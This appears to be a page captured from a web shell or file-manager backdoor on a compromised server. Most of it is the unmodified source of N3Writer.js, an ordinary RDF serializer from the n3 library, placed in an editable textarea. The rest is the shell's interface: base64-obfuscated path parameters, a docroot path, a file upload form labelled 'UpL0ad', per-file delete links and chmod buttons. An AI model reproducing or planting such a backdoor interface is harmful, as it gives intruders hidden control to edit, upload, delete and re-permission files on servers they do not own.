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<hr>N3Writer.js<form method=post action="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=TjNXcml0ZXIuanM%3D"><input name="f" value="N3Writer.js"><textarea name="t">&quot;use strict&quot;;

Object.defineProperty(exports, &quot;__esModule&quot;, {
  value: true
});
exports.default = void 0;

var _IRIs = _interopRequireDefault(require(&quot;./IRIs&quot;));

var _N3DataFactory = _interopRequireWildcard(require(&quot;./N3DataFactory&quot;));

var _N3Util = require(&quot;./N3Util&quot;);

function _getRequireWildcardCache(nodeInterop) { if (typeof WeakMap !== &quot;function&quot;) return null; var cacheBabelInterop = new WeakMap(); var cacheNodeInterop = new WeakMap(); return (_getRequireWildcardCache = function (nodeInterop) { return nodeInterop ? cacheNodeInterop : cacheBabelInterop; })(nodeInterop); }

function _interopRequireWildcard(obj, nodeInterop) { if (!nodeInterop &amp;&amp; obj &amp;&amp; obj.__esModule) { return obj; } if (obj === null || typeof obj !== &quot;object&quot; &amp;&amp; typeof obj !== &quot;function&quot;) { return { default: obj }; } var cache = _getRequireWildcardCache(nodeInterop); if (cache &amp;&amp; cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty &amp;&amp; Object.getOwnPropertyDescriptor; for (var key in obj) { if (key !== &quot;default&quot; &amp;&amp; Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc &amp;&amp; (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }

function _interopRequireDefault(obj) { return obj &amp;&amp; obj.__esModule ? obj : { default: obj }; }

// **N3Writer** writes N3 documents.
const DEFAULTGRAPH = _N3DataFactory.default.defaultGraph();

const {
  rdf,
  xsd
} = _IRIs.default; // Characters in literals that require escaping

const escape = /[&quot;\\\t\n\r\b\f\u0000-\u0019\ud800-\udbff]/,
      escapeAll = /[&quot;\\\t\n\r\b\f\u0000-\u0019]|[\ud800-\udbff][\udc00-\udfff]/g,
      escapedCharacters = {
  '\\': '\\\\',
  '&quot;': '\\&quot;',
  '\t': '\\t',
  '\n': '\\n',
  '\r': '\\r',
  '\b': '\\b',
  '\f': '\\f'
}; // ## Placeholder class to represent already pretty-printed terms

class SerializedTerm extends _N3DataFactory.Term {
  // Pretty-printed nodes are not equal to any other node
  // (e.g., [] does not equal [])
  equals() {
    return false;
  }

} // ## Constructor


class N3Writer {
  constructor(outputStream, options) {
    // ### `_prefixRegex` matches a prefixed name or IRI that begins with one of the added prefixes
    this._prefixRegex = /$0^/; // Shift arguments if the first argument is not a stream

    if (outputStream &amp;&amp; typeof outputStream.write !== 'function') options = outputStream, outputStream = null;
    options = options || {};
    this._lists = options.lists; // If no output stream given, send the output as string through the end callback

    if (!outputStream) {
      let output = '';
      this._outputStream = {
        write(chunk, encoding, done) {
          output += chunk;
          done &amp;&amp; done();
        },

        end: done =&gt; {
          done &amp;&amp; done(null, output);
        }
      };
      this._endStream = true;
    } else {
      this._outputStream = outputStream;
      this._endStream = options.end === undefined ? true : !!options.end;
    } // Initialize writer, depending on the format


    this._subject = null;

    if (!/triple|quad/i.test(options.format)) {
      this._lineMode = false;
      this._graph = DEFAULTGRAPH;
      this._prefixIRIs = Object.create(null);
      options.prefixes &amp;&amp; this.addPrefixes(options.prefixes);

      if (options.baseIRI) {
        this._baseMatcher = new RegExp(`^${escapeRegex(options.baseIRI)}${options.baseIRI.endsWith('/') ? '' : '[#?]'}`);
        this._baseLength = options.baseIRI.length;
      }
    } else {
      this._lineMode = true;
      this._writeQuad = this._writeQuadLine;
    }
  } // ## Private methods
  // ### Whether the current graph is the default graph


  get _inDefaultGraph() {
    return DEFAULTGRAPH.equals(this._graph);
  } // ### `_write` writes the argument to the output stream


  _write(string, callback) {
    this._outputStream.write(string, 'utf8', callback);
  } // ### `_writeQuad` writes the quad to the output stream


  _writeQuad(subject, predicate, object, graph, done) {
    try {
      // Write the graph's label if it has changed
      if (!graph.equals(this._graph)) {
        // Close the previous graph and start the new one
        this._write((this._subject === null ? '' : this._inDefaultGraph ? '.\n' : '\n}\n') + (DEFAULTGRAPH.equals(graph) ? '' : `${this._encodeIriOrBlank(graph)} {\n`));

        this._graph = graph;
        this._subject = null;
      } // Don't repeat the subject if it's the same


      if (subject.equals(this._subject)) {
        // Don't repeat the predicate if it's the same
        if (predicate.equals(this._predicate)) this._write(`, ${this._encodeObject(object)}`, done); // Same subject, different predicate
        else this._write(`;\n    ${this._encodePredicate(this._predicate = predicate)} ${this._encodeObject(object)}`, done);
      } // Different subject; write the whole quad
      else this._write(`${(this._subject === null ? '' : '.\n') + this._encodeSubject(this._subject = subject)} ${this._encodePredicate(this._predicate = predicate)} ${this._encodeObject(object)}`, done);
    } catch (error) {
      done &amp;&amp; done(error);
    }
  } // ### `_writeQuadLine` writes the quad to the output stream as a single line


  _writeQuadLine(subject, predicate, object, graph, done) {
    // Write the quad without prefixes
    delete this._prefixMatch;

    this._write(this.quadToString(subject, predicate, object, graph), done);
  } // ### `quadToString` serializes a quad as a string


  quadToString(subject, predicate, object, graph) {
    return `${this._encodeSubject(subject)} ${this._encodeIriOrBlank(predicate)} ${this._encodeObject(object)}${graph &amp;&amp; graph.value ? ` ${this._encodeIriOrBlank(graph)} .\n` : ' .\n'}`;
  } // ### `quadsToString` serializes an array of quads as a string


  quadsToString(quads) {
    return quads.map(t =&gt; {
      return this.quadToString(t.subject, t.predicate, t.object, t.graph);
    }).join('');
  } // ### `_encodeSubject` represents a subject


  _encodeSubject(entity) {
    return entity.termType === 'Quad' ? this._encodeQuad(entity) : this._encodeIriOrBlank(entity);
  } // ### `_encodeIriOrBlank` represents an IRI or blank node


  _encodeIriOrBlank(entity) {
    // A blank node or list is represented as-is
    if (entity.termType !== 'NamedNode') {
      // If it is a list head, pretty-print it
      if (this._lists &amp;&amp; entity.value in this._lists) entity = this.list(this._lists[entity.value]);
      return 'id' in entity ? entity.id : `_:${entity.value}`;
    }

    let iri = entity.value; // Use relative IRIs if requested and possible

    if (this._baseMatcher &amp;&amp; this._baseMatcher.test(iri)) iri = iri.substr(this._baseLength); // Escape special characters

    if (escape.test(iri)) iri = iri.replace(escapeAll, characterReplacer); // Try to represent the IRI as prefixed name

    const prefixMatch = this._prefixRegex.exec(iri);

    return !prefixMatch ? `&lt;${iri}&gt;` : !prefixMatch[1] ? iri : this._prefixIRIs[prefixMatch[1]] + prefixMatch[2];
  } // ### `_encodeLiteral` represents a literal


  _encodeLiteral(literal) {
    // Escape special characters
    let value = literal.value;
    if (escape.test(value)) value = value.replace(escapeAll, characterReplacer); // Write a language-tagged literal

    if (literal.language) return `&quot;${value}&quot;@${literal.language}`; // Write dedicated literals per data type

    if (this._lineMode) {
      // Only abbreviate strings in N-Triples or N-Quads
      if (literal.datatype.value === xsd.string) return `&quot;${value}&quot;`;
    } else {
      // Use common datatype abbreviations in Turtle or TriG
      switch (literal.datatype.value) {
        case xsd.string:
          return `&quot;${value}&quot;`;

        case xsd.boolean:
          if (value === 'true' || value === 'false') return value;
          break;

        case xsd.integer:
          if (/^[+-]?\d+$/.test(value)) return value;
          break;

        case xsd.decimal:
          if (/^[+-]?\d*\.\d+$/.test(value)) return value;
          break;

        case xsd.double:
          if (/^[+-]?(?:\d+\.\d*|\.?\d+)[eE][+-]?\d+$/.test(value)) return value;
          break;
      }
    } // Write a regular datatyped literal


    return `&quot;${value}&quot;^^${this._encodeIriOrBlank(literal.datatype)}`;
  } // ### `_encodePredicate` represents a predicate


  _encodePredicate(predicate) {
    return predicate.value === rdf.type ? 'a' : this._encodeIriOrBlank(predicate);
  } // ### `_encodeObject` represents an object


  _encodeObject(object) {
    switch (object.termType) {
      case 'Quad':
        return this._encodeQuad(object);

      case 'Literal':
        return this._encodeLiteral(object);

      default:
        return this._encodeIriOrBlank(object);
    }
  } // ### `_encodeQuad` encodes an RDF* quad


  _encodeQuad({
    subject,
    predicate,
    object,
    graph
  }) {
    return `&lt;&lt;${this._encodeSubject(subject)} ${this._encodePredicate(predicate)} ${this._encodeObject(object)}${(0, _N3Util.isDefaultGraph)(graph) ? '' : ` ${this._encodeIriOrBlank(graph)}`}&gt;&gt;`;
  } // ### `_blockedWrite` replaces `_write` after the writer has been closed


  _blockedWrite() {
    throw new Error('Cannot write because the writer has been closed.');
  } // ### `addQuad` adds the quad to the output stream


  addQuad(subject, predicate, object, graph, done) {
    // The quad was given as an object, so shift parameters
    if (object === undefined) this._writeQuad(subject.subject, subject.predicate, subject.object, subject.graph, predicate); // The optional `graph` parameter was not provided
    else if (typeof graph === 'function') this._writeQuad(subject, predicate, object, DEFAULTGRAPH, graph); // The `graph` parameter was provided
    else this._writeQuad(subject, predicate, object, graph || DEFAULTGRAPH, done);
  } // ### `addQuads` adds the quads to the output stream


  addQuads(quads) {
    for (let i = 0; i &lt; quads.length; i++) this.addQuad(quads[i]);
  } // ### `addPrefix` adds the prefix to the output stream


  addPrefix(prefix, iri, done) {
    const prefixes = {};
    prefixes[prefix] = iri;
    this.addPrefixes(prefixes, done);
  } // ### `addPrefixes` adds the prefixes to the output stream


  addPrefixes(prefixes, done) {
    // Ignore prefixes if not supported by the serialization
    if (!this._prefixIRIs) return done &amp;&amp; done(); // Write all new prefixes

    let hasPrefixes = false;

    for (let prefix in prefixes) {
      let iri = prefixes[prefix];
      if (typeof iri !== 'string') iri = iri.value;
      hasPrefixes = true; // Finish a possible pending quad

      if (this._subject !== null) {
        this._write(this._inDefaultGraph ? '.\n' : '\n}\n');

        this._subject = null, this._graph = '';
      } // Store and write the prefix


      this._prefixIRIs[iri] = prefix += ':';

      this._write(`@prefix ${prefix} &lt;${iri}&gt;.\n`);
    } // Recreate the prefix matcher


    if (hasPrefixes) {
      let IRIlist = '',
          prefixList = '';

      for (const prefixIRI in this._prefixIRIs) {
        IRIlist += IRIlist ? `|${prefixIRI}` : prefixIRI;
        prefixList += (prefixList ? '|' : '') + this._prefixIRIs[prefixIRI];
      }

      IRIlist = escapeRegex(IRIlist, /[\]\/\(\)\*\+\?\.\\\$]/g, '\\$&amp;');
      this._prefixRegex = new RegExp(`^(?:${prefixList})[^\/]*$|` + `^(${IRIlist})([_a-zA-Z][\\-_a-zA-Z0-9]*)$`);
    } // End a prefix block with a newline


    this._write(hasPrefixes ? '\n' : '', done);
  } // ### `blank` creates a blank node with the given content


  blank(predicate, object) {
    let children = predicate,
        child,
        length; // Empty blank node

    if (predicate === undefined) children = []; // Blank node passed as blank(Term(&quot;predicate&quot;), Term(&quot;object&quot;))
    else if (predicate.termType) children = [{
      predicate: predicate,
      object: object
    }]; // Blank node passed as blank({ predicate: predicate, object: object })
    else if (!('length' in predicate)) children = [predicate];

    switch (length = children.length) {
      // Generate an empty blank node
      case 0:
        return new SerializedTerm('[]');
      // Generate a non-nested one-triple blank node

      case 1:
        child = children[0];
        if (!(child.object instanceof SerializedTerm)) return new SerializedTerm(`[ ${this._encodePredicate(child.predicate)} ${this._encodeObject(child.object)} ]`);
      // Generate a multi-triple or nested blank node

      default:
        let contents = '['; // Write all triples in order

        for (let i = 0; i &lt; length; i++) {
          child = children[i]; // Write only the object is the predicate is the same as the previous

          if (child.predicate.equals(predicate)) contents += `, ${this._encodeObject(child.object)}`; // Otherwise, write the predicate and the object
          else {
            contents += `${(i ? ';\n  ' : '\n  ') + this._encodePredicate(child.predicate)} ${this._encodeObject(child.object)}`;
            predicate = child.predicate;
          }
        }

        return new SerializedTerm(`${contents}\n]`);
    }
  } // ### `list` creates a list node with the given content


  list(elements) {
    const length = elements &amp;&amp; elements.length || 0,
          contents = new Array(length);

    for (let i = 0; i &lt; length; i++) contents[i] = this._encodeObject(elements[i]);

    return new SerializedTerm(`(${contents.join(' ')})`);
  } // ### `end` signals the end of the output stream


  end(done) {
    // Finish a possible pending quad
    if (this._subject !== null) {
      this._write(this._inDefaultGraph ? '.\n' : '\n}\n');

      this._subject = null;
    } // Disallow further writing


    this._write = this._blockedWrite; // Try to end the underlying stream, ensuring done is called exactly one time

    let singleDone = done &amp;&amp; ((error, result) =&gt; {
      singleDone = null, done(error, result);
    });

    if (this._endStream) {
      try {
        return this._outputStream.end(singleDone);
      } catch (error) {
        /* error closing stream */
      }
    }

    singleDone &amp;&amp; singleDone();
  }

} // Replaces a character by its escaped version


exports.default = N3Writer;

function characterReplacer(character) {
  // Replace a single character by its escaped version
  let result = escapedCharacters[character];

  if (result === undefined) {
    // Replace a single character with its 4-bit unicode escape sequence
    if (character.length === 1) {
      result = character.charCodeAt(0).toString(16);
      result = '\\u0000'.substr(0, 6 - result.length) + result;
    } // Replace a surrogate pair with its 8-bit unicode escape sequence
    else {
      result = ((character.charCodeAt(0) - 0xD800) * 0x400 + character.charCodeAt(1) + 0x2400).toString(16);
      result = '\\U00000000'.substr(0, 10 - result.length) + result;
    }
  }

  return result;
}

function escapeRegex(regex) {
  return regex.replace(/[\]\/\(\)\*\+\?\.\\\$]/g, '\\$&amp;');
}</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/nodejs/n3/lib<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjM="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&x=SVJJcy5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=SVJJcy5qcw=="/>IRIs.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=SVJJcy5qcw==&c=`+btoa(c):0" value="0644"></td><td>808</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&x=TjNEYXRhRmFjdG9yeS5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=TjNEYXRhRmFjdG9yeS5qcw=="/>N3DataFactory.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=TjNEYXRhRmFjdG9yeS5qcw==&c=`+btoa(c):0" value="0644"></td><td>10836</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&x=TjNMZXhlci5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=TjNMZXhlci5qcw=="/>N3Lexer.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=TjNMZXhlci5qcw==&c=`+btoa(c):0" value="0644"></td><td>20682</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&x=TjNQYXJzZXIuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=TjNQYXJzZXIuanM="/>N3Parser.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=TjNQYXJzZXIuanM=&c=`+btoa(c):0" value="0644"></td><td>38350</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&x=TjNTdG9yZS5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=TjNTdG9yZS5qcw=="/>N3Store.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=TjNTdG9yZS5qcw==&c=`+btoa(c):0" value="0644"></td><td>32446</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&x=TjNTdHJlYW1QYXJzZXIuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=TjNTdHJlYW1QYXJzZXIuanM="/>N3StreamParser.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=TjNTdHJlYW1QYXJzZXIuanM=&c=`+btoa(c):0" value="0644"></td><td>1757</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&x=TjNTdHJlYW1Xcml0ZXIuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=TjNTdHJlYW1Xcml0ZXIuanM="/>N3StreamWriter.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=TjNTdHJlYW1Xcml0ZXIuanM=&c=`+btoa(c):0" value="0644"></td><td>1489</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&x=TjNVdGlsLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=TjNVdGlsLmpz"/>N3Util.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=TjNVdGlsLmpz&c=`+btoa(c):0" value="0644"></td><td>2599</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&x=TjNXcml0ZXIuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=TjNXcml0ZXIuanM="/>N3Writer.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=TjNXcml0ZXIuanM=&c=`+btoa(c):0" value="0644"></td><td>15092</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&x=aW5kZXguanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=aW5kZXguanM="/>index.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbjMvbGli&f=aW5kZXguanM=&c=`+btoa(c):0" value="0644"></td><td>4826</td></tr></table>